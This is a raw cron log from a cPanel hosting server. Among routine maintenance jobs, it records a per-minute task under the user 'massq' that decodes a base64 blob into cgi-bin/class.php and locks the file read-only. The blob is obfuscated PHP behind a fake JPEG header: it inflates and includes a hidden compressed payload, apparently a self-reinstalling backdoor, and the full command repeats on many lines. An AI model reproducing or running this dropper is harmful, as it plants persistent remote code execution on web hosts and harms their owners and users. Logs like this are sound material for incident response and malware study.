Sep  3 07:40:01 server CROND[2426]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 07:41:01 server CROND[3262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:41:01 server CROND[3263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:41:01 server CROND[3264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:42:01 server CROND[3750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:42:01 server CROND[3751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:42:01 server CROND[3752]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 07:42:01 server CROND[3753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:43:01 server CROND[4126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:43:01 server CROND[4127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:43:01 server CROND[4125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:44:01 server CROND[4504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:44:01 server CROND[4505]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:44:01 server CROND[4506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:45:01 server CROND[4908]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:45:01 server CROND[4913]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:45:01 server CROND[4911]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 07:45:01 server CROND[4910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:45:01 server CROND[4914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:45:01 server CROND[4915]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 07:45:01 server CROND[4912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:46:01 server CROND[5731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:46:01 server CROND[5732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:46:01 server CROND[5733]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:47:01 server CROND[6195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:47:01 server CROND[6196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:47:01 server CROND[6197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:48:01 server CROND[6589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:48:01 server CROND[6588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:48:01 server CROND[6590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:49:01 server CROND[7174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:49:01 server CROND[7175]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:49:01 server CROND[7173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:50:01 server CROND[7571]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:50:01 server CROND[7573]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 07:50:01 server CROND[7578]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:50:01 server CROND[7575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:50:01 server CROND[7581]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 07:50:01 server CROND[7577]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 07:50:01 server CROND[7576]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 07:50:01 server CROND[7579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:50:01 server CROND[7580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:51:01 server CROND[8454]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:51:01 server CROND[8455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:51:01 server CROND[8456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:52:01 server CROND[8918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:52:01 server CROND[8919]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:52:01 server CROND[8921]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:53:01 server CROND[9304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 07:53:01 server CROND[9305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
